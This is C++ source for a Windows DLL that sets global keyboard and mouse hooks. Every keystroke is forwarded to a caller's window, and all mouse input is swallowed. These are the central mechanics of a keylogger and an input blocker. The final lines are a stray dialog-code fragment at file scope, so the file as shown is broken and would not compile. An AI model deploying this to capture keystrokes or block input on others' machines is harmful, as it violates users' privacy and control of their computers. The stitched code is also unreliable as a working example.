#include "hookkey.h"

#pragma code_seg("code")
HWND phmain = NULL ;
HHOOK g_keyhook = NULL ;
HHOOK g_mousehook = NULL ;
#pragma code_seg()

#pragma comment(linker , "/SECTION:code,RWS")

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
//     switch (ul_reason_for_call)
//     {
//         case DLL_PROCESS_ATTACH:
//         case DLL_THREAD_ATTACH:
//         case DLL_THREAD_DETACH:
//         case DLL_PROCESS_DETACH:
//             break;
//     }
    return TRUE;
}

LRESULT CALLBACK KeyboardProc(  int code,       // hook code
                              WPARAM wParam,  // virtual-key code
                              LPARAM lParam   // keystroke-message information
                              )
{
    if (code <0 ||code== HC_NOREMOVE )
    {
        return CallNextHookEx(g_keyhook , code , wParam ,lParam);
    }
    
    if (code & 0x40000000) //消息重复就交给下一个HOOK链
    {
        return CallNextHookEx(g_keyhook , code , wParam , lParam );
    }

    PostMessage( phmain , WM_KEY , wParam , lParam );
    return CallNextHookEx(g_keyhook , code , wParam,lParam );
}


LRESULT CALLBACK MouseProc(  int nCode,      // hook code
                           WPARAM wParam,  // message identifier 
                           LPARAM lParam   // mouse coordinates
                           )
{
    return 1;
}

HOOKKEY_API void sethook(int instal , HWND mhwnd  )
{
    if (instal == 1)
    {
        phmain = mhwnd ;
        g_keyhook =SetWindowsHookEx(WH_KEYBOARD ,KeyboardProc , GetModuleHandle("hookkey") , 0  );
    }
    else
    {
        UnhookWindowsHookEx(g_keyhook);
    }
}

HOOKKEY_API void setsss(int instal , HWND mhwnd  )
{
    if (instal == 1)
    {
        phmain = mhwnd ;
        g_mousehook =SetWindowsHookEx(WH_MOUSE ,MouseProc , GetModuleHandle("hookkey") , 0  );
    }
    else
    {
        UnhookWindowsHookEx(g_mousehook);
    }
}

    char szkey[80];
    GetKeyNameText(lParam, szkey , 80);
    m_code += szkey ;
    m_code += "\r\n" ;

    UpdateData(false);